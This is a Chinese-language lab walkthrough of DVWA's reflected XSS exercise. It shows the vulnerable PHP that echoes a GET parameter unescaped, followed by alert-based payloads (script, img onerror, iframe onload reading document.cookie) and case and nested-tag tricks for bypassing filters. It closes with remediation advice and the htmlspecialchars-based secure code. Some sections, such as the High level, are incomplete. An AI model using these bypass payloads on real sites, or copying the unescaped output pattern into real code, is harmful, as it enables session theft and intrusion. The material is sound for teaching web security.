反射型 XSS 是指应用程序直接将攻击者提交的具有恶意代码的数据回传浏览器,因 html 注入导致页面被植入恶意代码从而被攻击者控制浏览器
Low
1、查看服务器端源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
2、查看客户端源代码
Vulnerability: Reflected Cross Site Scripting (XSS)
<div class="vulnerable_code_area">
<form name="XSS" action="#" method="GET">
<p>
What's your name?
<input type="text" name="name">
<input type="submit" value="Submit">
</p>
</form>
<pre>Hello kk</pre>
</div>
**值得注意的是,#将构造的payload注释掉了**
**应用程序直接将提交数据输出到 html 页面,未对提交数据做任何过滤检查和转义操作,可直接使用提交数据包含 xss payload 进行攻击**
3、构造payload
http://localhost/dvwa-master/vulnerabilities/xss_r/?name=kk<script>alert(1)</script>
利用hackbar
或者直接在文本框中输入攻击语句
显示cookie数据
<img src="" onerror="alert(/xss/)"/>
<iframe src="" onload="alert(document.cookie)"></iframe>
依然适用
还可以利用大小写变换
<Script>alert(/xss/)</sCRipt>
二次变化
<sc<script>ript>alert(/xss/)</script>
High
1、查看服务器端代码
直接输入
2、构造payload
说明:
应用程序直接将提交数据中的<script 字符串进行过滤后输出到 html 页面,但可以通过iframe、img 等标签进行绕过,从而成功利用漏洞
Impassible
修复建议:
a) 禁用 js 读取 cookie(设置 cookie 为 httponly)
b) 在页面输出数据时对<、>、&、 '、"、/等字符进行 html 实体转义
c) 对输入数据中<、>、&、 '、"进行严格检查
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素
tocken